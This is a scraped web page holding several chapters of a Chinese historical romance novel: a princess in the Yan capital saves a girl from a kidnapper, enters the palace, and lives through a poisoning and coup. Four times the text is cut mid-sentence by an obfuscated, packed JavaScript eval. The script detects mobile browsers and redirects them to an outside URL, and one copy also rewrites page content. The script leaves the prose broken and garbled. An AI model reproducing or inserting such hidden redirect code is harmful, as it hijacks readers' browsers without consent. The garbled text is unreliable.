憋闷了几日,这日天气正好,纪吟一大早起床,收拾妥当,带着陶儿准备出门,然而刚走到驿馆门口却被听闻消息赶来的管监拦下。 “公主,上头吩咐过,驿馆内外不许随便出入。” 纪吟见状,柳眉一竖,仰起下巴,“我身为齐国公主,为两国邦交不远千里而来嫁给你们陛下,现在只是想出门走走都不行?难不成我竟成了你们的犯人要被看守起来?哼,待过几日我进宫见了陛下,我倒要亲自问他为何这样待我。” 原主五官生得很不错,明眸善睐,琼鼻花唇,皮肤白皙,只是因为病体瘦削才折了六七分颜色,纪吟来了后这两个月努力吃饭,终于将原主那瘦巴巴的身体养了回来,肌肤丰润有泽,如今故作上位者的骄横姿态,反倒绽出几分华光,她今日又特意打扮过,一袭茜红锦裙,臂挂缕金披帛,鬓簪赤金红宝石花钿,脚踩五彩云履,描眉点唇,端的是明光璨璨,灼灼逼人。 管监听出她话里的威胁之意,又被她气度容貌震住,心想这样天仙般的美人哪个男人不爱,万一她日后进宫真得了陛下宠爱,记恨今天的事,自己不过一小兵小卒,又没靠山,收拾起来岂不是随手的事儿,一时也不敢得罪,弯腰小心赔笑道:“公主误会了,小人岂敢,不过公主初来乍到不认识城内布局,不如让小人遣两个人替公主引路,二来也免得有不开眼的人冲撞公主。” 那日三皇子交代过要好好照顾公主,似有深意,管监也不知怎么才算“好好”照顾,如今公主要出门,他阻拦不得,派人跟在身边总不会有错。 纪吟听他嘴上说着护送,实则不过是监视,也不恼,对方既然肯退步,她见好就收,淡淡点了点头,“你说的也是,那就劳烦你了。”说完又给陶儿递了个眼神,陶儿立马机灵地朝他递了一串钱。 馆监便笑开了眼,点了四个驿馆卫兵跟在她身后。 纪吟坐上马车,问他们燕京城中哪里最热闹。 “自然是城东那块儿,金昌街、拱石街,吃食、布匹、金银、美酒应有尽有。” 纪吟便命马车往城东而去。 到了金昌街,她却不肯坐马车了,说要下车亲自逛逛。 这几年燕国本土未发生战乱,都城百姓生活安定,商业也跟着繁荣起来,到处都是来来往往的人群,或提或挑着东西。 北地风俗很不同,当然,她也没经历过真实的古代社会,但跟记忆里南边的朝廷是两种风貌。 这里建筑雄浑,风貌粗犷,院墙大多砌得又高又厚,窗户却开得小,植被也以乔木见多,不似南边亭台楼阁小巧精致。 形形色色的人走在街上,有穿汉袍直缀的,也有穿窄袖胡服的,有束发戴冠的,也有辫发髡头的,出乎纪吟的意料,城里的汉人比她以为的还要多些,来往的人群中竟有一半人都在说汉语。 但转念一想又能理解了,齐国尚未南迁时幽冀都是汉人当政,百姓也是土生土长的汉人,如今才不过几十年,还不足以完全移风易俗,鲜卑也不可能把汉人全杀了。 她曾在历史课本上看过,胡人汉化是一个过程,没想到有一天她真的处在这其中了。 不管这个时代的人们想还是不想,主动还是被动,杂居在一起,文化的互融本就不可避免。 “乳饼,现蒸的乳饼。” “胡饼,香死人的胡饼。” “贵人,来瞧瞧小人的乳饼,可是用上等的细面揉的,还加了蜂蜜,香甜得很哟。” 有小贩注意到纪吟一行人,见她衣料华贵穿戴不凡,便卯足了劲儿招揽。 纪吟顺势走到摊贩面前,命他捡了几个,自己与陶儿各拿一个,剩下的便分给随行的卫兵。 她刚刚注意到其中一个人闻到乳饼的味道后舔了舔唇,这饼在纪吟看来普通,但想到这个时代的生产力,细面和蜂蜜应当是金贵食材,下面的人并不一定能吃得起。 果然,他们接了饼,态度明显软了些,还道了两声谢。 纪吟撕下一小块,品尝了下,味道有点像馒头,带着羊乳的膻味儿,她吃不太惯。 “我初来乍到,要添置不少东西,还不知道燕京城中哪里的货物最齐全。”纪吟一边撕着乳饼一边随口问道。 小贩一下卖出好几个饼,面对她这个大主顾的态度自然也热情得很,忙给她介绍起来,“当然是我们东市,别看我们东市不如西市那边的达官显贵多,可南来北往的,稀奇古怪的玩意儿都在东市,贵人要是看衣裳首饰的话,可以去范氏绸行和东祥银楼,这两家的东西,连宫里的娘娘都喜欢……” 提到“宫里”,纪吟心里梗了下,又若无其事地问他哪家酒食最好,车马市在哪儿,城里有什么景致可赏等等。 “若是城里看腻了,城外有没有什么好去处?” “那这可就多了,不过小人也只是听说过嘿嘿,城外许多庄子都是贵人们的私产,等闲人不得随意进出。” “无妨,你跟我说说要怎么去。” 小贩便将自己知道的一一道来,他整日在闹市做生意,自然有不少见闻,“城西二十里外还有座白马寺,寺里供奉的佛陀颇为灵验,听说当世闻名的闻寂大师就在此修行过,贵人们都爱去那里上香,只是闻寂大师踪迹不定,现下也不知去哪里了。” 他七七八八说了许多,纪吟听得津津有味,末了又听他道,“城南菱阳河的风光也好,河边栽着柳树,到了春日花儿又红柳儿又软,贵人和平头百姓们都去河边踏青,热闹得很,只是今年春日已过,等到明年贵人还有兴致,也可去赏个趣儿……” 聊了一会儿,纪吟离开乳饼摊子,继续往前逛去,一路买了些小玩意儿,时不时停下跟商贩简单两句,仿佛随口一问,实则默默将小贩的话抽丝剥茧整合起来,在心中勾勒出燕京城的情况。 此时明日高悬,阳气正炽,走了一个时辰纪吟也有些渴了,便在一家卖梅子饮的小摊上坐下。 刚喝了两口,忽听不远处的闹街上传来一阵喧哗,间杂有女子的哭声。 “放开我,放开我!” “看什么看,这是老子的闺女,不要脸皮跟个穷小子私奔,被老子逮住,就要家去了。”一个身材干瘦、獐头鼠眼的男人死死掐着少女的后颈,一边控着她双手不让她从自己手底下逃脱。 那少女只呜呜流着眼泪摇头,“我才不是他的闺女,他是……” “拐子”两个字还没来得及出口,男人已然捂住了他的嘴巴。 男人虽不算壮硕,可满脸戾气,颇为凶狠,又说是家事,众人都不敢多管闲事。 男人见周围人被自己唬住,正要擒着少女离开,身后却忽传来一道清亮的女声: “站住!” 纪吟从茶摊上起身,径自朝他走了过来。 男人一见纪吟,先是为她容貌惊讶了瞬,心想这等模样的一个恐怕就能值十几万钱,够他快活几年了,但紧接着注意到纪吟华贵的衣着以及身后跟着的侍卫,心下一凛,想这女人来头不小,便强按下贪欲,换上一副老实的嘴脸,忝笑道:“贵人有什么事?” 纪吟:“放了你手中的女孩儿。” 男人眉毛一跳,心想多事的娘们儿,竟敢管老子的事,面上却装作疑惑的模样。 “贵人,我教训不孝的女儿您也要管?” 纪吟冷笑:“什么女儿,不过是拐子罢了。” 再见他手中的女孩儿,两眼含泪,看着自己满怀希望,仿佛抓住了唯一的救命稻草,纪吟越发肯定自己的判断了。 男人见她一句话就戳穿自己,先是慌了瞬,紧接着怒气冲冲地质问:“你我无冤无仇,为什么要这么污蔑我,我教训女儿天经地义,就是打死也不干你的事。” “你放不放?”纪吟心知这种人向来无赖,也懒得同他掰扯。 “不放!”说着就要夹着手里的女孩儿强行离开。 “拦住他!” 若是刚出门这几人不见得会听她命令,但所谓吃人嘴软,几人得了纪吟的好处,如今不过拦个拐子,就算抓错了对方也不能拿自己怎么样,便一拥而上,前后堵住对方去路。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪吟见她衣裳虽简朴,但五官端正脸皮白皙,一副水灵灵的俏丽,难怪拐子把主意打到她身上,恐怕是存了更肮脏的心思,又见她虽恢复镇定了,实则肩膀还在打颤,心里还是害怕的,本想通知她爹娘来接她,念头一转,又改变了主意,道:“你久不归家,家里人肯定担心,我先送你回去吧。” 白兰下意识拒绝,怔怔道:“岂敢再劳烦恩人。” 纪吟一笑:“对我来说不算麻烦,走吧。” 于是几人登上马车。 临街的一家玉石铺子里,一个模样异常俊秀的锦衣公子将刚才发生的一切尽收眼底,待人散去后,他把玩着掌心里的羊脂白玉,轻笑了声,“这个齐国公主倒是跟我想的有点不一样。” 他身边的随从疑惑,“主子怎么知道她就是新来的齐国公主?” 男子道:“齐国使臣前几日刚入了京,看打扮就知道她是高门汉女,再看她身边随从的护卫,虽换了衣裳,腰间却还挂着驿馆的令牌,那就只能是齐国公主了。” 随从豁然开朗,“主子果然聪明绝伦,连这点微末细节都注意到了。” 男人不再言语,只盯着纪吟离开的马车,微眯了眯眼睛。 马车里,纪吟与白兰闲聊,问她怎么一个人出门。 “有人在我们铺子里订了药材,约好今日送过去,只是不巧今天来了好几个病人,我爹爹走不开,阿娘的脚又不小心扭伤了,我便说我去。送完药,我看街上热闹得很,就忍不住逛了逛,结果就……”说到这儿,她又是自责又是后悔,要不是她贪玩儿,说不定就不会遇到这样的事了。 “这不怪你,只有千日做贼哪儿有千日防贼的,难不成你还能一辈子不出门?”纪吟摸摸她的脑袋安慰,十四五岁的小姑娘,在现代还是初中生,只是看看热闹而已,又有什么错,千错万错都是作恶之人的错。 那拐子必定是跟着她走了段路,发现她孤身一个弱女子,这才临时起了歹心。 纪吟把白兰送到家时,她父母果然急了,正要出门寻人,又见她身后跟着的纪吟衣着不凡,两眼一愣。 白兰将自己遇到拐子又被纪吟救下的事告诉父母,老两口先是一惊,窜出一身冷汗,听到后面又忙要磕头感谢纪吟的救命之恩。 纪吟哪儿习惯受此礼,忙把人扶起来。 老两口有说不出的感激,又忙拿了钱财,纪吟自然推辞不受。 杨郎中便道:“女郎对我杨家有恩,但凡女郎日后有用得着我的地方,我们绝不推辞。” 纪吟救下白兰时倒没想这么多,只是恰好遇上,她既有点微末的能力,那就不能不管。 在杨家药铺坐了会儿,眼见天色不早了,纪吟便在杨家人满含感激的眼神中告辞。 回去路上,陶儿坐在马车里,忍不住问,“公主怎么知道那人是拐子?就不怕是拐子说的是真的,到时误会了岂不是……”有损您的脸面。 纪吟心想,这在现代都是老套路了。 有段时间关于拐卖的案件上了热搜,评论里全是提防各种拐卖手段的,还有不少博主解密拐卖套路,她爸妈看到了就转发给她,她都烂熟于心了。 想到爸妈,纪吟心里又是一阵伤感,也不知他们怎么样了。 “公主?”陶儿见她走神,忍不住唤了句。 纪吟眨眨眼,回过神来,“我当时见白兰流着眼泪满脸绝望,心里便猜她是被拐的,就算我猜错了,最多也就是给对方陪个不是,又不损失什么,可我要是什么都不做,岂不是眼睁睁看着一个姑娘落入泥潭。”那样她午夜梦回都会后悔。 陶儿觉得公主说得很有道理,但同时她也感觉公主跟以前有些不一样了。她说不清哪里不同,就是一种莫名的直觉。 纪吟赶在太阳落山前回了驿舍,不一会儿,吴中明来找她,说进宫的日子定下了,就在三天后。 纪吟心头一凛,悬在头顶的达摩克利斯之剑终于落下了。 8. 入宫 燕国皇帝段遨年逾五十,早就妻妾成群,光是成年儿子都有五六个,自然不可能再以正妻之礼迎娶纪吟。 但纪吟顶着齐国公主的名头,如今两国又在蜜月期,随行还有使者,燕国便也不好把她当成舞姬美人之流一顶轿子就抬进宫中,给她册封了正式名分,大概相当于九嫔,还特意在明昌殿准备了正式仪式接待齐国使者,迎她入宫。 要准备婚礼,接下来纪吟没再出门,三日时光一晃而过,到了正式入宫这一天,她天不亮就被薅了起来。 纪吟坐在妆台前,任由宫女给自己梳头上妆。她面上无悲无喜,没什么表情,却叫陶儿心里发堵,一阵心酸,原本女郎是要嫁给温家四郎的,那温四郎君与女郎年岁相当,性格温和,模样又生得好,女郎嫁给他必然琴瑟和鸣,相敬如宾,谁知现在却要嫁给一个老头子,哪怕他是一国皇帝,也不是良人。 纪吟看着铜镜里的自己,只感慨自己倒霉。 难道要这么认命了吗?纪吟捏紧手心。 纳妃仪式并不复杂,加上燕国是胡人政权,礼仪并不如齐国繁复。 纪吟登上红绸彩车,被来迎亲的人接到宫中。 燕国皇帝在明昌殿内召集群臣,置酒宴,接见了使者吴中明以及他身后的纪吟。 纪吟一跨进大殿便感觉诸多目光落在自己身上,其中几道尤其强烈。 这个时代还没盖头这一习俗,纪吟头戴赤金掐丝嵌红宝石发冠,发冠前沿垂下细密的珍珠珠帘,她的脸在珠帘后若隐若现,众人虽看不清,可她身姿窈窕,步履轻缓,仅是露出雪白的一点脖颈和青葱的手指便已叫人心神荡漾。 大皇子看到这样的美人儿,心头火热起来,心想老头子艳福不浅,不过,这美人儿最后还是要落到自己手里。 段伏归的眼神也在纪吟身上顿了两息,他见过她狼狈的、简素的、大胆的模样,却还是第一次见她打扮得如此隆重,像一朵完全绽放开来的花儿,引人采撷,他心中微痒。 接着他注意到大皇子毫不掩饰的欲望,眼底晦暗了瞬,摩挲着大拇指上的铁扳指,表情凝了下来,一丝极其强烈的杀气一闪而过。 比起其余人明里暗里的打量臆想,燕皇脸上倒是没什么表情,神色淡淡的,纪吟这个美人对他来说似乎可有可无。 纪吟也在不动声色地观察殿内的人,最上首的应该就是燕国皇帝段遨了,形象跟她以为的完全不同。 段伏归身材十分高大,比寻常男人还高出大半个头,足足有八尺多,纪吟便以为燕皇的体格也类似,然而实际却瘦得过分,这个年过半百的男人,面颊凹陷,两鬓苍白,皇帝冕服穿在他身上都显得有些宽大了,让他看起来比原本的年龄还苍老许多。 不知是室内不够明亮亦或是别的原因,纪吟总觉得燕皇的脸色不太好,灰扑扑的,眼神也有些虚浮。 她还看到了段伏归,身姿颀长,一身湛蓝辟邪纹锦袍,腰束金玉带,头戴赤金麒麟冠,配上英挺的五官,乍一看还以为是个端雅的世家公子,然而第一次见面他就射死了自己的马,纪吟深知这男人有多冷血,绝不敢认为他是个好人。 段伏归上首还有两张几案,一黄衣,一紫袍,这应该就是大皇子和二皇子了。 看清二皇子的模样,纪吟怔了下。 段伏归的五官已经十分英挺,剑眉星目,但这二皇子的容貌竟比他还盛,皮肤雪白,鼻梁高挺,一双眼眸隐为紫色,如此俊秀,若不是动作间的男子气度,只怕要被人当做女子了。相比之下,大皇子的模样便显得有些普通了。 这时,吴中明上前行礼,道:“吾齐国使者,奉齐国陛下之命,特携公主面见燕皇,以示两国友谊。” 他话音刚落,殿中忽有人大声笑道,“哈哈哈,当年我燕国派遣使者去齐国讨要藩王封号,齐国皇帝不同 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她忽想起段伏归和他身边的亲信都会说汉语,那日去逛街也有许多汉人在做生意便以为这是普遍情况,现在看来可能是她想岔了。 语言不通,纪吟问不出什么,便又坐回床上,思绪却不由得飘到大殿上那一幕。 燕皇的身体看起来似乎不太好,接着她又想起齐国队伍抵达燕国后,燕皇耽搁了几天才召见他们,莫不是…… 她心头突了下,冒出一股不安的感觉,燕国如今还没立太子,大皇子和三皇子势力旗鼓相当,要是燕皇的身体真的快不行了,势必生乱。 要真起乱,她能不能趁机……逃? 可是她初来乍到,对燕国还不了解,语言又不通,想要谋划此事实在不容易,还得慢慢来。 纪吟刚这么想,便听外面传来喊杀声,她心头一紧,“嗖”地站了起来。 9. 宫变 纪吟离开后,明昌殿内燕国百官聚集,灯火辉煌,觥筹交错,舞姬蹁跹,宫女侍者穿梭其间,为在场的王公大臣皇室贵戚奉上美酒,献上鲜美的菜肴,热闹极了。 燕皇身边的侍者执壶,为陛下的金樽添满美酒,此时不断有朝臣来向燕皇敬酒,他一饮而下。 然而仅是片刻时间,皇帝忽然面露痛苦,身体朝前一倾猛地伏倒在了案上,一时杯盘狼藉碎了一地。 陡来的变故惊呆了在场所有人,大皇子最先反应过来,大步一跨来到燕皇身边,扶起他上半身,面露急色,“父皇,你怎么了?” 此时燕皇已经呼吸困难、面色绀紫,显然是中毒了。 “快传太医!”大皇子忙喊。 他话音刚落不过数息,便有人从殿外将那太医带进来,快得超乎意料,倒仿佛早有准备似的。 太医诊治后很快得出结论,跪在地上,冷汗涔涔,颤抖着说:“酒里下了剧毒,陛下饮了毒酒,恐怕……” 最后几个字没敢说,可众人已经猜到了。 殿内一片哗然。 下一秒,大皇子猛地看向先前为燕皇添酒的侍人,大手一挥,立刻有他的亲信上前擒住这人,施以严刑拷打。 皮鞭一下又一下地抽在侍人背上,绽出一道又一道血痕,很快他就招了。 “是……是三皇子威胁我在陛下酒里投毒。” 大皇子眼睛一亮,转过身来看着段伏归,再次扬臂一呼,“段伏归胆敢谋害尊父,忤逆不孝,十恶不赦,来人,将他就地处决。” 他话音一落,宫殿外就刷刷涌出一大批持刀禁军,领头的正是禁军统领段垢。 一切变故不过发生在眨眼间,大皇子一系列动作行云流水,这时已经有人看出苗头来,心想今晚的一切都是大皇子提前安排好的吧,可顾忌着禁军,不知大皇子究竟布置了怎样的杀机,便不敢出头。 段伏归闻言,转头看向大皇子,冷笑:“父皇中毒,大哥不想办法召集太医为父皇救命,竟想凭借一个奴才的话就栽赃于我,取我性命,大哥,你是不是太着急了?” 大皇子听到最后一句意有所指的话,竟有一瞬间心虚,但他很快镇定下来。 是他干的又怎么样,只要杀了段伏归,自己登上皇位,将来史书上只会写段伏归为夺皇位弑杀君父、谋逆乱上,自己才是平定叛乱成就大业的霸主。 “何必跟你多说,给我上,拿下段伏归!” 禁军便立时冲进大殿,提刀向段伏归杀去。 参加此等宫宴的大臣不能携带亲随,也不能佩刀,纵使有高超的武艺,此时也难发挥出十之一二,一些胆小的甚至已经朝梁柱后面躲去了。 大皇子面露得意,他特意等到今天才动手,就是算准了情况。 然而他刚扬起半张笑脸,下一秒那笑就凝固了。 只见段伏归动作迅疾如风,飞快躲过禁军攻击,趁着身形交错之际,他一手快如闪电擒住对方肩膀,往后一折,禁军吃痛,长刀从手中脱落,段伏归脚尖一顶踢起刀背,长臂一伸便稳稳接住长刀,刀锋一转,那禁军还没反应过来就已被割破喉咙。 夺了武器,段伏归如虎添翼,围上来的禁军通通成了他刀下亡魂。 与此同时,又有另外几人也捡了武器围到段伏归身边来,大皇子一看,那几人全是段伏归军中的下属,脸上已然带上怒容。 段伏归带着七八号人与禁军展厮杀到一处,他气势如虎,周身散发着嗜血的杀意,一时间,数百禁军竟都不是他的对手,反而畏惧他的威势,隐隐有后退的意思。 段伏归武艺高强,在军中早就有万人莫敌的名声,大皇子向来觉得这是段伏归故意夸耀自己,现在才知他竟真没夸大,一时心里有点打鼓,又想今天要是不杀了他,只怕后患无穷,只大吼着让人上,甚至直接许诺谁能砍下段伏归的首级,便赏万金,封万户侯,又调来弓箭手,命令他们朝段伏归放箭。 段伏归随手抓了个禁军尸体挡在面前,躲过一轮箭雨,禁军正要再放,却在这时,远处宫门再次传来喊杀声。 “怎么回事?”大皇子一惊,他分明已经带人包围宫城了。 “殿下,右卫军杀过来了。” 右卫军! 大皇子眼皮狠跳了下,猛地转过怒视段伏归,“是你干的!” 宫里的禁军分左卫军和右卫军,大皇子收买了左卫军统领段垢,又趁燕皇病重,段伏归南下接应齐国队伍时,找了个由头把右卫军统领呼延垂调离燕京,为的就是掌控皇宫,结果右卫军竟然杀过来了? “今夜不是你死就是我活,所有人,杀!”大皇子再也忍不住,甚至亲自拔刀朝段伏归杀来。 段伏归又何尝不会演戏,便也提气高声道:“段伏义设下毒计,谋害君父,又欲残害手足,罪不容诛,援军已到,诸位都是大燕忠臣,跟我一起将他拿下。” 燕皇中毒,虽还未断气,但估计是活不久了,段伏义和段伏归中决出的胜者将会是大燕下一任皇帝,段伏归这句话隐含了站队的意思。 他方才万人莫敌的气势还印刻在众人的脑海里,又听说援军来了,众人心里便有了倾向,那些本就支持段伏归的义无反顾的加入了他的阵营,而原本中立的,竟也在向他靠拢,大皇子这边瞬间失去优势。 段伏归神勇非凡,在他的带领下,段伏义节节败退,竟没坚持多久便败了。 段伏归砍伤段伏义一条腿,活捉了段伏义,又命令右卫军,“剩下的人,去清缴宫内其余叛军。” 话音刚落,他忽然想起什么,眸色沉了下,竟提着刀亲自朝后宫而去。 …… 纪吟听到喊杀声,脑子里立马冒出两个字——宫变! 她才来燕国皇宫,对各处还不熟悉,又对前朝两眼一抹黑,实在没什么头绪,想了想,第一时间来到门口,将清心殿里的宫女全部叫过来。 幸而十几个人里总算有个会说汉语的,纪吟便让她把自己的话翻译给大家。 其余人也听到喊杀声了,她们也害怕得紧,如今纪吟一出来主持局面,立马跟着她的话行动起来。 纪吟先让人把宫门关了,本想组织大家拿起武器自卫,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪吟忙往后退去,可她背后就是墙壁,根本无处可躲,眼见长刀要落下,忽见一道银光从叛军胸口闪出,最后堪堪停在纪吟的眉心前一寸,刀尖沾血,雪亮的刀刃上倒映着她苍白的面孔。 鲜血涌出,溅到她脸上,还带着温热的触感。 纪吟怔了一秒,缓缓抬头看去,只见叛军身后站着一个高大熟悉的身影,正抬起手臂,手里握着刀柄。 段伏归往回收刀,叛军尸体便倒到了一边。 纪吟先前在路上虽经历过劫杀,可那时离得远,远不及此刻的冲击,她浑身失力,双腿一软便贴着墙滑到了地上。 段伏归居高临下地看着她,她今日被用心装扮过,身上的嫁衣没来得及脱,头上的发冠也没拆,只嫌挡视线把珠帘挂到了发冠两边,露出一张完整的脸蛋,本因惊吓而两颊雪白,偏她翠眉脂唇,点点血迹落在她眉心,反衬得她雪肤霞衣,秾稠凝艳。 段伏归的眼神在她脸上停留了许久。 纪吟缓过神来,正要多谢他的救命之恩,却忽听男人轻笑了声,说: “你现在,是我的了。” 10. 伏诛 纪吟怀疑自己听错了,又仿佛没理解他这话的意思,缓缓抬起眼皮,怔怔地看着他。 “殿下这话……什么意思?”纪吟忽然冒出一股不祥的预感,脸色瞬间白了。 段伏归朝她笑了下,男人英挺的五官在飘摇的火光中明灭不定,唯独一双浓黑中泛着幽蓝的眸子格外兴奋危险。 “今夜宫变,从今以后,你是我的了。” 纪吟听得发晕,刚想问凭什么自己要变成他的所有物,段英恰巧来报,请他去前殿主持大局。 这一夜的杀戮远没结束,又是在万分紧迫的关头,段伏归能亲自抽出时间来一趟已是不易,现下也不耽搁,叮嘱手下的人好好守着清心殿,护卫纪吟安全,便大步离去了。 殿内还未清理,方才段伏归来救,叛军被杀了个精光,此时地上横七竖八全是尸体,鲜血浸润地面,纪吟看到这一幕,忽然有点恶心。 她跨过满地的尸体,来到殿外,坐在台阶上,看着浩瀚无垠的夜空,听到远处那些还未停止的喊杀声,冒出一股深深的不安。 宫变……按段伏归那意思,老燕皇可能已经死了,接下来登上皇位的极有可能就是他。 她不知这场这场宫变究竟是怎么回事,要是段伏归策划的,那他杀父杀兄杀弟,手段如此狠辣……想到这儿,纪吟打了个颤。 陶儿也被闯进来的叛军吓软了腿,好不容易缓过来,见公主竟独自走到了外面,连忙拖着两条面条儿似的腿追过来。 “公主……” 纪吟握住她的手。 现下人身安全是无虞了,可她心头却被另一道阴影笼罩。 又过了会儿,殿内的叛军尸体都被右卫军抬了出来,只是地上的血迹短时间内是清洗不干净了。 纪吟实在不想闻到那腥臭的血腥味,挑了间距离最远的偏殿,跟陶儿一起歇下。 然而她也没睡,只抱膝坐在床上一直熬到了天明,心里乱成一团麻。 - 段伏归回到明昌殿,此时殿内的局势已经被他控制住,但宫门内外的叛军还未完全剿灭。 “元都,你负责捉拿宫内残余叛军,凡有反抗者,格杀勿论。” “段英,你亲自带人去段伏义住处,将他所有家小全部拿下。” “乞多姚,你去通知段日里奇,派人围住屠闻、余大吉、穆廖……” 段伏归一口气安排下来,已是要将宫内宫外控制在手里了。 这时,被拎过来给燕皇救治的太医见燕皇面色乌黑,最后一丝微弱的气息消失,忍不住伏跪到地上,额头触地,颤抖着声音说:“小人无能,陛下……陛下没有呼吸了。” 他不敢说皇帝驾崩了,只敢用这个委婉的说辞。 段伏归眉峰一凛,连忙过来查看情况。 他知皇帝中了毒必是活不了了,先前叫人救治也不过是必须走一趟流程,现下见燕皇彻底没了生机,面上也作出一副哀伤的模样,转身看着被五花大绑的大皇子,下令彻查燕皇中毒之事。 没过多久,负责筹备今夜宫宴膳食、酒水、器皿相关的人员以及宫门守卫等便都被抓了过来,段伏归命人开审,很快就有人招了,还搜出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人心中惊骇,却不敢说什么。 那些被念到名字的,心知自己如今只有死路一条了,有的面如死灰,却有人想反正都是死,竟猛地朝段伏归冲过来,要与他同归于尽。 然而段伏归是什么人,从小就在军营里摸爬滚打,更是无数次从战场的死人堆里爬出来,单是昨夜能在几十个叛军围攻下毫发无伤,又岂会被他偷袭到,只见那人还没碰到他一根汗毛,段伏归已经率先抬腿一脚踢了出去,正中对方胸口,那人只感觉一股巨力砸到身上,整个人就飞了出去,砸到墙壁才落下,“哇”一下吐出一口鲜血,然后就昏死了过去。 众人被这一幕骇得瞪大了眼睛,再没人敢反抗。 很快,刚刚那些被点到名的,便被段伏归的亲卫拉到殿外斩首,鲜血再一次浸润明昌殿。 “戴龙、阿史那、宇文皝……”段伏归又念了一串名字,被点到的才看到前人的下场,心想自己的脑袋终究是保不住了。 然而段伏归却没立马将他们推出斩首,反而问,“你们曾听命于段伏义,难道半点没察觉到他要谋逆?” 戴龙等人直呼冤枉,“我们是在大皇、段伏义手下做过事,可我们不是他的亲信,是真的不知道他要造反啊,殿下明察,殿下明察!” 段伏归只盯着他们,不说话,待将这些人抻得差不多了,才慢悠悠道:“真不知情,本王倒是可以绕你们一命。” 他这一句,落到戴龙等人耳中无疑天籁,从鬼门关前走了一遭,好不容易有活命的机会,当即朝段伏归不停叩头,还一边表忠心,“我等以后定全心为殿下效力。” 段伏归没在意他们的话,又看向殿内剩下的人,“诸位受惊了,叛乱已定,一会儿我便让人备马送诸位大人回府。” “那就多谢殿下了。” 持续了一天一夜的叛乱风波终于暂时平静,段伏归以雷霆手段杀了大皇子及其亲信党羽,又对大皇子一系的边缘人物恩威并施让其不敢生出反抗的心思,对于中立一派则态度缓和,算得上张弛有度了。 可他当着所有人的面杀了这么多人,已在无形中形成一股威慑,众人也不敢公然反抗他的命令,于是,段伏归仅仅只用了一天就稳住了混乱的局面。 身在清心殿的纪吟还不知道外面的事,这两日她一直待在屋中,外面都是禁军,每天倒也送了饭水来,只是菜色普通,不过几个饼和两三个素菜,看起来宫里还没完全平静下来,宫人们也没心思做饭。 第三天,她终于按捺不住心里的好奇,小心挪到殿门,看到守在门口的禁军,小声问:“这位大哥,不知宫里的情形是否安稳下来了,我实在担心。”说着,她从袖中递过一支金钿。 这是入宫那夜她发上簪的,宫廷御造,精美贵重,对普通禁军而言绝对价值不菲。 因为段伏归亲自来过一趟,清心殿的禁军对她颇有两分客气,不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626005|172363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趁机强占她的财物,如今纪吟主动给,打听的也不是什么机密事,禁军稍一犹豫就答应下来了,朝她道:“三殿下早拿下宫城了,只是如今还在清缴叛党。” 他说的是汉语,这也是纪吟特意挑选过的。守卫无聊,禁军们难免会闲聊几句,这两日纪吟装作散步站在墙边听了几耳朵,果然听到其中有人说汉语。 “燕皇陛下还好吗?”纪吟又问。 “陛下被大皇子毒杀了。” 段伏义伏诛后,段伏归自然要大肆宣扬他的恶行,尤其是谋害君父这样十恶不赦的罪状,如今满宫满城都知道大皇子段伏义谋害了他们的陛下。 “那……不知跟我一起来的齐国使臣还好吗?”纪吟继续问。 “这我们就不知道了。” 打探不出更多的消息,纪吟心里失望,面上却不显,温声道了句谢便回偏殿休息了。 不过有件事算是明确了,那就是段伏归胜了,让纪吟意外的是,这场宫变竟不是他发起的? 但就算不是他发起的,纪吟也直觉跟他脱不了关系,否则他后面怎么能这么快平息叛乱,还成为了最后的胜利者,只能说明他心机深沉,不仅趁机为自己扫除了障碍,还把名声摘得干干净净。 纪吟极不愿与这样的人沾上关系,偏偏那夜他又说了那样的话。 就在她为此辗转时,第二天傍晚,纪吟用完饭,正坐在窗边发呆,清心殿外忽然传来整齐划一的脚步,她心神一凛,连忙整理衣裳跨出偏殿,此时段伏归正好踏进院中,一眼瞧见飞檐下亭亭玉立的女孩儿,她也正看过来,四目相对,她眼睫一颤,像林间受惊的小鹿。 纪吟想,该来的还是来了。 12. 不行 “见过殿下。”纪吟主动屈膝见礼,毕竟人在屋檐下,还是有点眼色的好。 段伏归长腿一跨,三两步就拉近了两人的距离。 纪吟今日打扮普通,应该说宫变后她打扮一直很普通,一件杏色上襦,下着白绫褶裙,外罩绡纱浅黄大衫,没化妆,头上亦未佩戴华美的首饰,只浅浅将乌发挽了个髻,整体稍显寡淡,然此时彤霞满天,余晖也柔和极了,打在她雪白的脸颊上,晕起一层浅浅的柔光,瞳仁晶莹如琥珀,段伏归竟也觉得十分灵动。 他看了一会儿才想起叫起,然后便大步跨进殿中。 那夜发生的事给纪吟留下了糟糕的回忆,虽清扫过又重新铺上家具了,她还是不爱往里去。 “进来。”段伏归见她没跟上,转头吩咐了句。 